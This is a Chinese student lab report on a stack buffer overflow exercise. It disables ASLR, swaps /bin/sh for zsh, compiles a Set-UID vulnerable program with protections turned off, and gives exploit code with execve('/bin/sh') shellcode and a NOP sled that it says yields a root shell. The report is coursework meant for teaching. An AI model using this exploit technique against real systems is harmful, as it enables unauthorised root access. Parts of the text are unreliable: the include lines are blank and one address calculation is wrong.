缓冲区溢出漏洞试验

一、实验简介

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。

二、实验准备

输入以下命令安装用于编译32位C程序的软件包：

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386
sudo apt-get install -y lib32readline-gplv2-dev

三、实验过程

3.1 初始设置

1、Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，使用以下命令关闭这一功能：

sudo sysctl -w kernel.randomize_va_space=0

2、为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 中实现。linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。用下面的指令设置 zsh 程序：

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

3、输入命令“linux32”进入32位linux环境,输入/bin/bash使用bash：

3.2 漏洞程序

1、在 /tmp 目录下新建一个 stack.c 文件即漏洞程序:

cd /tmp
vi stack.c

代码如下：

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include 
#include 
#include 

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

2、编译该程序，并设置 SET-UID，命令如下：

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

3、在进行编译时出现了不兼容的问题：

最后更换了一个实验平台编译通过：

3.3 攻击程序

1、实验的目的是攻击刚才的漏洞程序，并通过攻击获得root权限，在 /tmp 目录下新建一个 exploit.c 文件，输入如下内容：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include 
#include 
#include 

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

2、使用wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c运行查看效果：

3.4 gdb调试

1、要得到 shellcode 在内存中的地址，输入命令：

gdb stack
disass main

2、设置断点

3.5 攻击结果

1、根据语句 strcpy(buffer + 100,shellcode); 计算 shellcode 的地址为 0xffffcdd0(十六进制) + 0x64(100的十六进制) = 0xffffce44(十六进制)
修改exploit.c文件！将 \x??\x??\x??\x?? 修改为 \x44\xce\xff\xff
然后，编译 exploit.c 程序：

gcc -m32 -o exploit exploit.c

2、先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：

攻击成功，获得了root权限。

20199319 缓冲区溢出漏洞试验